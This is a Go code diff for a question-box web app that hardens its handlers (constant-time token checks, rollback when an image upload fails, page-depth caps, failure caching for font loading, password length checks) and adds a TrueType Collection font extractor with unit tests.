ctx.SetInternalError(f)
ctx.Success("question/list")
return
}
_, err = db.Messages.Create(ctx.Request().Context(), db.CreateMessageOptions{
ConversationID: conv.ID,
SenderID: ctx.User.ID,
Content: f.Content,
})
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to create first message")
ctx.SetInternalError(f)
ctx.Success("question/list")
return
}
if err := db.Conversations.IncrementMessageCount(ctx.Request().Context(), conv.ID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to increment message count")
}
// 私聊定量收集:新建会话即计一条(后续往来消息不重复计数)
if err := db.FeatureControls.IncrementQuota(ctx.Request().Context(), pageUser.ID, db.FeatureChat, 1); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to increment chat quota")
}
// 请求态数据提前提取,避免 goroutine 在请求结束后访问 ctx.User
askerName := ctx.User.Name
askerEmail := ctx.User.Email
@@ -568,13 +619,22 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
ok, err := captcha.Verify(f.Recaptcha, shared.ResolveClientIP(ctx.Request().Request), ctx.Session, recaptcha, ctx.Lang())
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to check captcha")
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/_/" + pageUser.Domain)
// 不把 err.Error() 直接给用户:里面可能带上游返回的原始信息。
ctx.SetError(errors.New(i18n.T(ctx.Lang(), "captcha.error")), f)
ctx.Success("question/list")
return
}
if !ok {
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "captcha.error"))
ctx.Redirect("/_/" + pageUser.Domain)
// 验证码失败是这里最常见的失败(token 过期、网络抖动)。
// 原来走 Flash + Redirect 会把用户已经写好的正文整段丢掉;
// 这里与其他失败分支一致,用 SetError + Success 回填表单。
ctx.SetError(errors.New(i18n.T(ctx.Lang(), "captcha.error")), f)
ctx.Success("question/list")
return
}
// 提问密码:验证码通过之后才比对(见 askPasswordDenied 注释)。
if askPasswordDenied(ctx, pageUser, f) {
return
}
@@ -628,11 +688,6 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
return
}
// 提问定量收集:一条提问计一次(含私密提问);追问不重复计数
if err := db.FeatureControls.IncrementQuota(ctx.Request().Context(), pageUser.ID, db.FeatureQuestion, 1); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to increment question quota")
}
if len(f.Images) > 0 {
image := f.Images[0]
if err := uploadImage(ctx, uploadImageOptions{
@@ -641,16 +696,25 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
QuestionID: question.ID,
UploaderUserID: askerUserID,
}); err != nil {
// 问题在上面已经落库(db.Questions.Create),图片这一步失败必须回滚。
// 不回滚的后果不是「少一张图」:箱主会收到一条无图提问,而提问者只看到
// 「图片过大 / 上传失败」,以为没发出去;再想重发又会被 DuplicateGuard
// 按「同 IP + 同内容 5 分钟内重复」拦住 —— 既没发成功也重发不了。
// DeleteByID 会连带清理追问与图片关联,并回退前面那次提问配额(+1)。
if delErr := db.Questions.DeleteByID(ctx.Request().Context(), question.ID); delErr != nil {
logrus.WithContext(ctx.Request().Context()).WithError(delErr).Errorf(
"图片上传失败后回滚提问 %d 失败,已留下一条无图提问", question.ID)
}
if errors.Is(err, ErrUploadImageSizeTooLarge) || errors.Is(err, imagecheck.ErrImageTooLarge) {
ctx.SetError(errors.New(i18n.T(ctx.Lang(), "question.errImageTooLarge")), f)
ctx.Success("question/list")
return
} else {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to upload image")
ctx.SetError(errors.New(i18n.T(ctx.Lang(), "question.errUploadImageFailed")), f)
ctx.Success("question/list")
return
}
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to upload image")
ctx.SetError(errors.New(i18n.T(ctx.Lang(), "question.errUploadImageFailed")), f)
ctx.Success("question/list")
return
}
}
+9 -2
View File
@@ -6,6 +6,7 @@ package question
import (
stdctx "context"
"crypto/subtle"
"fmt"
"net/url"
"unicode/utf8"
@@ -62,7 +63,8 @@ func Questioner(ctx context.Context, pageUser *db.User) {
if question.UserID != pageUser.ID ||
((question.Answer == "" || question.IsPrivate) &&
(!ctx.IsLogged || ctx.User.ID != question.UserID) &&
!(question.Token != "" && question.Token == token)) {
!(question.Token != "" &&
subtle.ConstantTimeCompare([]byte(question.Token), []byte(token)) == 1)) {
ctx.Redirect("/")
return
}
@@ -368,7 +370,12 @@ func TogglePin(ctx context.Context, pageUser *db.User, question *db.Question, ca
return
}
if err := db.Questions.SetPinned(ctx.Request().Context(), question.ID, !question.IsPinned); err != nil {
// 条件更新:只有当前状态仍是这次读到的值时才写入。
// 原来直接 SetPinned(!question.IsPinned) 是 read-modify-write,双击时两个请求
// 都读到 false、都写 true,结果停在「置顶」与用户预期的「取消」
// 相反。现在第二次会因状态已变而影响 0 行,即「只切换一次」。
if _, err := db.Questions.SetPinnedIfCurrent(
ctx.Request().Context(), question.ID, question.IsPinned, !question.IsPinned); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to toggle question pinned")
ctx.SetInternalError()
ctx.Success("question/item")
+132 -22
View File
@@ -123,20 +123,51 @@ var (
OverlayColor = color.NRGBA{R: 255, G: 255, B: 255, A: 165}
)
// 全局字体缓存
// 全局字体缓存。
//
// fontFail* 记录"上一次加载失败"与时间:失败结果要短期缓存,不能每次请求都重来。
// 缺字体时单次尝试的代价是遍历候选路径 + 读进 19 MB 的 .ttc 再解析失败(实测 0.7–4 秒纯 CPU),
// 而分享卡是**公开端点**——不缓存失败就等于给任何人一个"发一个 GET 烧几秒 CPU"的放大器。
// 仍保留 1 分钟重试窗口:字体文件是部署产物,补上后无需重启即可恢复。
var (
fontMu sync.Mutex
fontCache *truetype.Font
fontMu sync.Mutex
fontCache *truetype.Font
fontFailAt time.Time
fontFailErr error
)
// getFont 返回绘图字体。失败结果不缓存:字体文件属于部署产物、不在仓库里,
// 新环境最常见的就是漏放;补上文件后无需重启即可恢复分享卡。
// fontFailRetry 是加载失败后的重试间隔。
const fontFailRetry = time.Minute
// getFont 返回绘图字体。成功结果永久缓存;失败结果缓存 fontFailRetry 后重试。
func getFont() (*truetype.Font, error) {
fontMu.Lock()
defer fontMu.Unlock()
if fontCache != nil {
return fontCache, nil
}
if fontFailErr != nil && time.Since(fontFailAt) < fontFailRetry {
return nil, fontFailErr
}
font, err := loadFont()
if err != nil {
fontFailAt, fontFailErr = time.Now(), err
return nil, err
}
fontCache = font
fontFailErr = nil
return font, nil
}
// loadFont 遍历候选路径,返回第一个能被解析的字体。
func loadFont() (*truetype.Font, error) {
ft, _, err := loadFontWithPath()
return ft, err
}
// loadFontWithPath 同 loadFont,但额外返回命中的文件路径(启动日志要打出来)。
func loadFontWithPath() (*truetype.Font, string, error) {
var tried []string
for _, path := range fontCandidates() {
tried = append(tried, path)
@@ -144,38 +175,97 @@ func getFont() (*truetype.Font, error) {
if err != nil {
continue
}
ft, err := freetype.ParseFont(data)
if err != nil {
continue
if ft, err := freetype.ParseFont(data); err == nil {
return ft, path, nil
}
// .ttc(TrueType Collection)是「字体集合」,ParseFont 读不了它;
// 先提取第一个字面再试。注意:这只对 TrueType 轮廓(glyf)的集合有效,
// Noto Sans CJK 那种 CFF/OTTO 轮廓 freetype 本身就不支持,提出来照样失败。
if extracted, ttcErr := ttcFirstFont(data); ttcErr == nil {
if ft, err := freetype.ParseFont(extracted); err == nil {
return ft, path + "(ttc 首字面)", nil
}
}
fontCache = ft
return ft, nil
}
if len(tried) == 0 {
return nil, errors.New("font_path 未配置,且 static/fonts 下没有 .otf/.ttf/.ttc")
return nil, "", errors.New("font_path 未配置,且 static/fonts 下没有 .otf/.ttf/.ttc")
}
return nil, fmt.Errorf("没有可用字体,已尝试:%s", strings.Join(tried, "、"))
return nil, "", fmt.Errorf("没有可用字体(需 TrueType 轮廓的 ttf/otf/ttc,Noto Sans CJK 是 CFF 轮廓不支持),已尝试:%s", strings.Join(tried, "、"))
}
// CheckShareCardFont 在启动时探一次字体并把结果写进缓存,返回命中的路径。
//
// 为什么要提前探:分享卡是公开端点,缺字体只会在「第一个真实请求」时才 500,
// 而那已经是线上事故;启动日志里一条 WARN + 补救命令能让人当场发现。
// 顺带把首次请求的解析开销(读十几 MB + 解析)挪到启动阶段。
func CheckShareCardFont() (string, error) {
fontMu.Lock()
defer fontMu.Unlock()
ft, path, err := loadFontWithPath()
if err != nil {
fontFailAt, fontFailErr = time.Now(), err
return "", err
}
fontCache, fontFailErr = ft, nil
return path, nil
}
// fontCandidates 字体候选路径:配置项优先,其次是部署目录里的字体文件
// (换过文件名也能用上),最后是常见系统 CJK 字体路径。
// (换过文件名也能用上),最后是系统里能用的 CJK 字体。
//
// 顺序是有意的:
// - static/fonts 是部署产物,最可能就是「运维补的那个」;
// - 系统候选把 glyf 轮廓的放前面,Noto Sans CJK 压到最后 —— 后者是 CFF/OTTO,
// freetype 一定解析失败,只是偶尔会有 glyf 变体才留着当兜底。
//
// 相对路径按「当前工作目录」与「可执行文件所在目录」各查一次:systemd 单元
// 未必配 WorkingDirectory,只按 CWD 找会出现「文件明明在却找不到」。
func fontCandidates() []string {
var paths []string
if p := strings.TrimSpace(conf.App.FontPath); p != "" {
paths = append(paths, p)
}
for _, pattern := range []string{"static/fonts/*.otf", "static/fonts/*.ttf", "static/fonts/*.ttc"} {
if matches, err := filepath.Glob(pattern); err == nil {
paths = append(paths, matches...)
for _, dir := range staticFontDirs() {
for _, pattern := range []string{"*.ttf", "*.otf", "*.ttc"} {
if matches, err := filepath.Glob(filepath.Join(dir, pattern)); err == nil {
paths = append(paths, matches...)
}
}
}
return append(paths,
// glyf 轮廓的 CJK 字体:apt install fonts-wqy-zenhei / fonts-wqy-microhei /
// fonts-droid-fallback / fonts-arphic-uming 任装一个即可工作
"/usr/share/fonts/truetype/wqy/wqy-zenhei.ttc",
"/usr/share/fonts/truetype/wqy/wqy-microhei.ttc",
"/usr/share/fonts/truetype/droid/DroidSansFallbackFull.ttf",
"/usr/share/fonts/truetype/arphic/uming.ttc",
// 兜底:CFF 轮廓,通常会解析失败,仅在存在 glyf 变体时有意义
"/usr/share/fonts/truetype/noto/NotoSansCJK-Regular.ttc",
"/usr/share/fonts/opentype/noto/NotoSansCJK-Regular.ttc",
"/usr/share/fonts/opentype/noto/NotoSansCJKsc-Regular.otf",
"/usr/share/fonts/truetype/noto/NotoSansCJK-Regular.ttc",
)
}
// staticFontDirs 返回要去扫字体文件的目录(去重、跳过不存在的)。
func staticFontDirs() []string {
dirs := []string{filepath.Join("static", "fonts")}
if exe, err := os.Executable(); err == nil {
dirs = append(dirs, filepath.Join(filepath.Dir(exe), "static", "fonts"))
}
seen := make(map[string]struct{}, len(dirs))
out := make([]string, 0, len(dirs))
for _, d := range dirs {
if _, ok := seen[d]; ok {
continue
}
seen[d] = struct{}{}
if st, err := os.Stat(d); err == nil && st.IsDir() {
out = append(out, d)
}
}
return out
}
// shareDialer 与 shareDialContext:SSRF 防护——解析域名后校验所有解析 IP 均非内网,
// 再交由 shared.DialFirstReachable 对公网候选 IP 并发拨号取最先成功者(happy-eyeballs 风格)。
// 防 DNS rebinding(IP 字面量直连、无二次解析)的同时,避免固定拨单一 IP 抽中劣化边缘
@@ -279,6 +369,15 @@ func (c *ttlCache) Get(key string) (interface{}, bool) {
return item.value, true
}
// Delete 移除单条缓存。
// 用于读到「类型不符的脏数据」时丢弃这一条 —— 没有它就只能等下次 Set 覆盖,
// 而重建路径万一再次失败,这条脏数据会一直留在缓存里被反复读到。
func (c *ttlCache) Delete(key string) {
c.mu.Lock()
defer c.mu.Unlock()
delete(c.items, key)
}
func (c *ttlCache) Set(key string, value interface{}, ttl time.Duration) {
c.mu.Lock()
defer c.mu.Unlock()
@@ -357,8 +456,13 @@ func ShareCard(ctx context.Context) {
// 命中缓存直接返回,避免重复下载图片与重新绘制
cacheKey := shareCardCacheKey(user)
if cached, ok := shareCardCache.Get(cacheKey); ok {
writeShareCardResponse(ctx, cached.([]byte))
return
if data, isBytes := cached.([]byte); isBytes {
writeShareCardResponse(ctx, data)
return
}
// 类型不符:理论上不会发生(key 由本文件独占写入),但裸断言遇到不符就是 panic。
// 丢弃这条脏缓存,走下面重新绘制。
shareCardCache.Delete(cacheKey)
}
canvas := image.NewRGBA(image.Rect(0, 0, CardWidth, CardHeight))
@@ -622,7 +726,10 @@ func loadImage(url string, w, h int) (image.Image, error) {
key := fmt.Sprintf("%s|%dx%d", url, w, h)
if cached, ok := imageCache.Get(key); ok {
return cached.(image.Image), nil
if img, isImage := cached.(image.Image); isImage {
return img, nil
}
imageCache.Delete(key)
}
resp, err := shareHTTPClient.Get(url)
@@ -997,8 +1104,11 @@ func QuestionShareCard(ctx context.Context) {
cacheKey := questionShareCardCacheKey(user, question)
if cached, ok := questionShareCache.Get(cacheKey); ok {
writeShareCardResponse(ctx, cached.([]byte))
return
if data, isBytes := cached.([]byte); isBytes {
writeShareCardResponse(ctx, data)
return
}
questionShareCache.Delete(cacheKey)
}
canvas := image.NewRGBA(image.Rect(0, 0, CardWidth, CardHeight))
+109
View File
@@ -0,0 +1,109 @@
package question
import (
"bytes"
"encoding/binary"
"errors"
)
// ttcFirstFont 从一个 TrueType Collection(.ttc)里提出第一个字面,返回等价的单字体数据。
//
// 为什么需要:分享卡的字体候选里放了系统 CJK 字体路径,其中三个是 .ttc
// (Debian / Ubuntu 的 fonts-noto-cjk 只提供 .ttc)。但 freetype.ParseFont 只能读
// 单字体文件,碰到 .ttc 一律失败 —— 现场表现是「路径明明存在,却报没有可用字体」
// (本地部署实测,分享卡 500)。这里按 sfnt 规范把选中的字面重排成独立文件:
// 复制表目录与表数据,并把每张表的 offset 改写成新文件内的位置。
//
// 只取第一个字面:分享卡只需要一套能画中英混排的字形,TTC 里后续字面是
// another weight / another language 的变体,不值得为它引入「按名字挑字面」的逻辑。
func ttcFirstFont(data []byte) ([]byte, error) {
if len(data) < 16 || string(data[:4]) != "ttcf" {
return nil, errors.New("not a TrueType Collection")
}
numFonts := binary.BigEndian.Uint32(data[8:12])
if numFonts == 0 {
return nil, errors.New("TrueType Collection 里没有字体")
}
base := int(binary.BigEndian.Uint32(data[12:16]))
if base < 0 || base+12 > len(data) {
return nil, errors.New("TrueType Collection 的子字体偏移越界")
}
sfntVersion := binary.BigEndian.Uint32(data[base : base+4])
numTables := int(binary.BigEndian.Uint16(data[base+4 : base+6]))
if numTables == 0 {
return nil, errors.New("子字体没有表")
}
recStart := base + 12
if recStart+16*numTables > len(data) {
return nil, errors.New("子字体的表目录越界")
}
type table struct {
tag uint32
checksum uint32
srcOff int
srcLen int
dstOff uint32
}
tables := make([]table, 0, numTables)
for i := 0; i < numTables; i++ {
p := recStart + 16*i
srcOff := int(binary.BigEndian.Uint32(data[p+8 : p+12]))
srcLen := int(binary.BigEndian.Uint32(data[p+12 : p+16]))
if srcOff < 0 || srcLen < 0 || srcOff+srcLen > len(data) {
return nil, errors.New("子字体的表数据越界")
}
tables = append(tables, table{
tag: binary.BigEndian.Uint32(data[p : p+4]),
checksum: binary.BigEndian.Uint32(data[p+4 : p+8]),
srcOff: srcOff,
srcLen: srcLen,
})
}
// 新文件布局:sfnt header(12) + 表目录(16n) + 表数据(每张表 4 字节对齐)
offset := uint32(12 + 16*numTables)
for i := range tables {
tables[i].dstOff = offset
offset += uint32(tables[i].srcLen)
offset += (4 - offset%4) % 4
}
out := make([]byte, 0, offset)
header := make([]byte, 12)
binary.BigEndian.PutUint32(header[0:4], sfntVersion)
binary.BigEndian.PutUint16(header[4:6], uint16(numTables))
// searchRange / entrySelector / rangeShift:规范要求填,部分解析器(含 freetype)
// 不校验,这里仍按公式算,避免换解析器后踩坑。
maxPow2, entrySelector := 1, uint16(0)
for maxPow2*2 <= numTables {
maxPow2 *= 2
entrySelector++
}
binary.BigEndian.PutUint16(header[6:8], uint16(maxPow2*16))
binary.BigEndian.PutUint16(header[8:10], entrySelector)
binary.BigEndian.PutUint16(header[10:12], uint16(numTables*16-maxPow2*16))
out = append(out, header...)
dir := make([]byte, 16*numTables)
for i, t := range tables {
p := 16 * i
binary.BigEndian.PutUint32(dir[p:p+4], t.tag)
binary.BigEndian.PutUint32(dir[p+4:p+8], t.checksum)
binary.BigEndian.PutUint32(dir[p+8:p+12], t.dstOff)
binary.BigEndian.PutUint32(dir[p+12:p+16], uint32(t.srcLen))
}
out = append(out, dir...)
var buf bytes.Buffer
buf.Write(out)
for _, t := range tables {
if pad := int(t.dstOff) - buf.Len(); pad > 0 {
buf.Write(make([]byte, pad))
}
buf.Write(data[t.srcOff : t.srcOff+t.srcLen])
}
return buf.Bytes(), nil
}
+146
View File
@@ -0,0 +1,146 @@
package question
import (
"encoding/binary"
"testing"
"github.com/stretchr/testify/require"
)
// buildTTC 拼一个最小的 TrueType Collection:两个字面共用一套表,
// 表数据刻意按「与目录相反」的顺序摆放,用来证明提取逻辑是按目录里的 offset
// 搬数据,而不是简单地顺序切片。
func buildTTC(t *testing.T) []byte {
t.Helper()
// 表内容
headData := []byte{0xDE, 0xAD, 0xBE, 0xEF}
cmapData := []byte{0x01, 0x02, 0x03, 0x04, 0x05, 0x06}
const ttcHeaderLen = 16
const sfntHeaderLen = 12
const recLen = 16
const numTables = 2
sfntStart := ttcHeaderLen
dirStart := sfntStart + sfntHeaderLen
dataStart := dirStart + recLen*numTables
// 先放 cmap 再放 head(与目录顺序相反)
cmapOff := dataStart
headOff := cmapOff + len(cmapData)
buf := make([]byte, headOff+len(headData))
copy(buf[0:4], "ttcf")
binary.BigEndian.PutUint32(buf[4:8], 0x00010000) // version
binary.BigEndian.PutUint32(buf[8:12], 1) // numFonts
binary.BigEndian.PutUint32(buf[12:16], uint32(sfntStart))
binary.BigEndian.PutUint32(buf[sfntStart:sfntStart+4], 0x00010000) // sfntVersion
binary.BigEndian.PutUint16(buf[sfntStart+4:sfntStart+6], numTables)
binary.BigEndian.PutUint16(buf[sfntStart+6:sfntStart+8], 16) // searchRange(随便填,提取时应重算)
binary.BigEndian.PutUint16(buf[sfntStart+8:sfntStart+10], 0)
binary.BigEndian.PutUint16(buf[sfntStart+10:sfntStart+12], 0)
// 第 1 条记录:head → 数据在末尾
p := dirStart
copy(buf[p:p+4], "head")
binary.BigEndian.PutUint32(buf[p+4:p+8], 0x11111111) // checksum
binary.BigEndian.PutUint32(buf[p+8:p+12], uint32(headOff))
binary.BigEndian.PutUint32(buf[p+12:p+16], uint32(len(headData)))
// 第 2 条记录:cmap → 数据在前
p = dirStart + recLen
copy(buf[p:p+4], "cmap")
binary.BigEndian.PutUint32(buf[p+4:p+8], 0x22222222)
binary.BigEndian.PutUint32(buf[p+8:p+12], uint32(cmapOff))
binary.BigEndian.PutUint32(buf[p+12:p+16], uint32(len(cmapData)))
copy(buf[cmapOff:], cmapData)
copy(buf[headOff:], headData)
return buf
}
func TestTTCFirstFont(t *testing.T) {
ttc := buildTTC(t)
out, err := ttcFirstFont(ttc)
require.NoError(t, err)
// sfnt header
require.Equal(t, uint32(0x00010000), binary.BigEndian.Uint32(out[0:4]))
require.Equal(t, uint16(2), binary.BigEndian.Uint16(out[4:6]))
// searchRange = 最大 2 的幂 × 16 = 2 × 16 = 32;entrySelector = 1;rangeShift = 32-32 = 0
require.Equal(t, uint16(32), binary.BigEndian.Uint16(out[6:8]))
require.Equal(t, uint16(1), binary.BigEndian.Uint16(out[8:10]))
require.Equal(t, uint16(0), binary.BigEndian.Uint16(out[10:12]))
// 目录:tag / checksum / length 原样保留,offset 指向新位置
type rec struct {
tag string
checksum uint32
off, ln uint32
}
var recs []rec
for i := 0; i < 2; i++ {
p := 12 + 16*i
recs = append(recs, rec{
tag: string(out[p : p+4]),
checksum: binary.BigEndian.Uint32(out[p+4 : p+8]),
off: binary.BigEndian.Uint32(out[p+8 : p+12]),
ln: binary.BigEndian.Uint32(out[p+12 : p+16]),
})
}
require.Equal(t, "head", recs[0].tag)
require.Equal(t, "cmap", recs[1].tag)
require.Equal(t, uint32(0x11111111), recs[0].checksum)
require.Equal(t, uint32(0x22222222), recs[1].checksum)
// 表数据按新 offset 读出来必须与原始一致
require.Equal(t, []byte{0xDE, 0xAD, 0xBE, 0xEF},
out[recs[0].off:recs[0].off+recs[0].ln])
require.Equal(t, []byte{0x01, 0x02, 0x03, 0x04, 0x05, 0x06},
out[recs[1].off:recs[1].off+recs[1].ln])
// 每张表在新文件里都要 4 字节对齐(sfnt 规范要求)
require.Zero(t, recs[0].off%4)
require.Zero(t, recs[1].off%4)
}
func TestTTCFirstFontRejects(t *testing.T) {
cases := map[string][]byte{
"空数据": nil,
"不是 TTC": []byte("not a font file at all"),
"头部被截断": []byte("ttcf\x00\x01\x00\x00"),
"numFonts 为 0": func() []byte {
b := make([]byte, 16)
copy(b, "ttcf")
binary.BigEndian.PutUint32(b[4:8], 0x00010000)
return b
}(),
"子字体偏移越界": func() []byte {
b := make([]byte, 16)
copy(b, "ttcf")
binary.BigEndian.PutUint32(b[4:8], 0x00010000)
binary.BigEndian.PutUint32(b[8:12], 1)
binary.BigEndian.PutUint32(b[12:16], 4096)
return b
}(),
}
for name, data := range cases {
t.Run(name, func(t *testing.T) {
_, err := ttcFirstFont(data)
require.Error(t, err)
})
}
}
// TestTTCFirstFontRejectsBadTableOffset 表目录里的 offset 指向文件外时必须报错,
// 而不是把越界切片交给上层(否则就是一次 panic 而不是 500)。
func TestTTCFirstFontRejectsBadTableOffset(t *testing.T) {
ttc := buildTTC(t)
// 第 1 条记录位于 ttcHeader(16) + sfntHeader(12),其 length 字段在记录内第 12 字节
p := 16 + 12 + 12
binary.BigEndian.PutUint32(ttc[p:p+4], 1<<20)
_, err := ttcFirstFont(ttc)
require.Error(t, err)
}
+34 -6
View File
@@ -94,10 +94,16 @@ func getHotVotesCached(ctx context.Context, c cache.Cache) ([]*db.Vote, error) {
return votes, nil
}
// filterVotesByOwnerFeature 过滤掉箱主已关闭投票功能的投票(开关 / 定时 / 定量收集),
// 避免探索页出现点了打不开的死链。功能配置批量加载,避免逐条查询造成 N+1;
// 加载失败时按原样返回,依赖表抖动不应导致探索页空白。
func filterVotesByOwnerFeature(ctx context.Context, votes []*db.Vote) []*db.Vote {
// filterVotesForExplore 过滤掉不该出现在探索页的投票:
//
// 1. 箱主已关闭投票功能(开关 / 定时 / 定量收集)—— 避免点开是死链;
// 2. 箱主处于站方处置中 —— 与首页箱主列表(GetShowInHome 用
// activeRestrictionsSubQuery)保持同一口径。此前只过滤了功能开关,
// 于是同一张探索页里会出现「箱主本人在列表里消失了,他的投票还在曝光」。
//
// 两次配置都是批量加载,避免逐条查询造成 N+1;任一侧加载失败时按「该项不过滤」
// 处理,依赖表抖动不应让探索页整页空白。
func filterVotesForExplore(ctx context.Context, votes []*db.Vote) []*db.Vote {
if len(votes) == 0 {
return votes
}
@@ -111,6 +117,18 @@ func filterVotesByOwnerFeature(ctx context.Context, votes []*db.Vote) []*db.Vote
}
}
// 生效处置(任意级别):这批箱主的内容不再进入公开曝光
restricted := make(map[uint]bool, len(ownerIDs))
if levels, err := db.Restrictions.ActiveLevels(ctx.Request().Context(), ownerIDs); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to batch load user restrictions")
} else {
for uid, level := range levels {
if level != "" {
restricted[uid] = true
}
}
}
controls, err := db.FeatureControls.ListByUserIDs(ctx.Request().Context(), ownerIDs, db.FeatureVote)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to batch load vote feature controls")
@@ -120,6 +138,9 @@ func filterVotesByOwnerFeature(ctx context.Context, votes []*db.Vote) []*db.Vote
now := time.Now()
out := make([]*db.Vote, 0, len(votes))
for _, v := range votes {
if restricted[v.UserID] {
continue
}
fc, ok := controls[v.UserID]
if !ok {
fc = db.DefaultFeatureControl(v.UserID, db.FeatureVote)
@@ -143,7 +164,14 @@ func Explore(ctx context.Context, c cache.Cache) {
pageStr := ctx.Query("page")
page := 1
if pageStr != "" {
// 翻页深度上限:原来只校验 > 0,于是 page=2147483647 会让 Postgres 先算出
// 一个巨大的 OFFSET 再丢掉全部结果 —— 一次请求换一次廉价慢查询。
// 500 × 20 = 10000 个用户,远超探索页的真实翻页需求。
const maxPage = 500
if p, err := strconv.Atoi(pageStr); err == nil && p > 0 {
if p > maxPage {
p = maxPage
}
page = p
}
}
@@ -171,14 +199,14 @@ func Explore(ctx context.Context, c cache.Cache) {
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to get hot votes")
hotVotes = []*db.Vote{}
}
ctx.Data["HotVotes"] = filterVotesByOwnerFeature(ctx, hotVotes)
ctx.Data["HotVotes"] = filterVotesForExplore(ctx, hotVotes)
allVotes, err := db.Votes.ListPublishedPublic(ctx.Request().Context(), 30)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to get public votes for explore")
allVotes = []*db.Vote{}
}
ctx.Data["AllVotes"] = filterVotesByOwnerFeature(ctx, allVotes)
ctx.Data["AllVotes"] = filterVotesForExplore(ctx, allVotes)
// 计算总页数(向上取整)
totalPages := (int(total) + pageSize - 1) / pageSize
+31
View File
@@ -0,0 +1,31 @@
// Copyright 2026 tamakyi. All rights reserved.
// Use of this source code is governed by a MIT-style
// license that can be found in the LICENSE file.
package user
import (
"time"
"github.com/tamakyi/TamaBox/internal/context"
"github.com/tamakyi/TamaBox/internal/i18n"
"github.com/tamakyi/TamaBox/internal/insights"
)
// Insights 箱主自己的数据面板。
//
// 与 /stats 的区别:那个是全站公开数据(任何人可看、不含单箱维度);
// 这里只统计当前登录用户自己的箱,且只对本人可见 —— 所以数据里可以出现
// 「你的箱本周被看了多少次」这种带归属的指标。
//
// 隐私边界:库里只存「每 访客×天×箱 的访问次数」,访客标识是带日盐的 IP HMAC,
// 没有 IP、没有 UA、没有访问路径。因此面板能回答「多少人来了」,
// 但回答不了「谁来过」——这是刻意的,箱主不需要也不应该拿到提问者与访客的身份。
func Insights(ctx context.Context) {
page := insights.Build(ctx.Request().Context(), ctx.Lang(), ctx.User.ID, time.Now())
page.FormatInsights()
ctx.SetTitle(i18n.T(ctx.Lang(), "insights.title"))
ctx.Data["Insights"] = page
ctx.Success("user/insights")
}
+25
View File
@@ -5,6 +5,8 @@
package user
import (
"unicode/utf8"
"github.com/sirupsen/logrus"
"github.com/tamakyi/TamaBox/internal/context"
@@ -13,6 +15,23 @@ import (
"github.com/tamakyi/TamaBox/internal/i18n"
)
// rejectTooShortPassword 二次校验密码最小长度(P1-2)。
//
// form 层已经有 minlen 标签,这里再挡一次是为了防止将来出现绕过 form.Bind 的调用点
// —— 密码强度一旦漏掉就是「页面访问密码形同虚设」,值得重复一道。
// 按 rune 计数,与 govalid 的 minlen 口径一致(中文密码不会被按字节数放大)。
func rejectTooShortPassword(ctx context.Context, password string) bool {
if password == "" {
return false // 留空 = 关闭该密码
}
if utf8.RuneCountInString(password) >= form.PasswordMinLen {
return false
}
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "form.profile.passwordLen"))
ctx.Redirect(returnTab(ctx))
return true
}
// UpdatePagePassword 更新页面访问密码
func UpdatePagePassword(ctx context.Context, f form.UpdatePagePassword) {
// 反序列化失败(如请求体超限)时零值 Password="" 会把密码静默解除——先中止,
@@ -21,6 +40,9 @@ func UpdatePagePassword(ctx context.Context, f form.UpdatePagePassword) {
if abortOnFormError(ctx, returnTab(ctx)) {
return
}
if rejectTooShortPassword(ctx, f.Password) {
return
}
if err := db.Users.UpdatePagePassword(ctx.Request().Context(), ctx.User.ID, f.Password); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to update page password")
@@ -42,6 +64,9 @@ func UpdateAskPassword(ctx context.Context, f form.UpdateAskPassword) {
if abortOnFormError(ctx, returnTab(ctx)) {
return
}
if rejectTooShortPassword(ctx, f.Password) {
return
}
if err := db.Users.UpdateAskPassword(ctx.Request().Context(), ctx.User.ID, f.Password); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to update ask password")
+57 -22
View File
@@ -915,6 +915,21 @@ func VotePublish(ctx context.Context) {
return
}
// 站方处置:L2 起不得再发布新的公开内容(与「设公开」同口径)。
// 此前投票链路完全没有处置校验:被处置的箱主仍能发新投票并进探索页曝露。
level, _, err := db.Restrictions.ActiveLevel(ctx.Request().Context(), ctx.User.ID)
if err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to query user restriction")
ctx.SetInternalErrorFlash()
ctx.Redirect("/user/questions#votes")
return
}
if db.RestrictionAtLeast(level, db.RestrictionL2) {
ctx.SetErrorFlash(i18n.T(ctx.Lang(), "vote.err.restrictedPublish"))
ctx.Redirect("/user/questions#votes")
return
}
if err := validateForPublish(ctx, vote); err != nil {
ctx.SetErrorFlash(err.Error())
ctx.Redirect("/user/questions#votes")
@@ -1045,6 +1060,8 @@ func VoteClose(ctx context.Context) {
}
// VoteDelete 删除投票(级联删除选项、表单字段与提交记录)。
//
// 实际删除动作全部在 db.Votes.DeleteWithCascade 的一个事务里完成,且是真删(Unscoped)。
func VoteDelete(ctx context.Context) {
vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
if err != nil {
@@ -1053,24 +1070,24 @@ func VoteDelete(ctx context.Context) {
return
}
if err := db.VoteOptions.DeleteByVoteID(ctx.Request().Context(), vote.ID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote options")
}
if err := db.VoteFormFields.DeleteByVoteID(ctx.Request().Context(), vote.ID); err != nil {
logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote form fields")
}
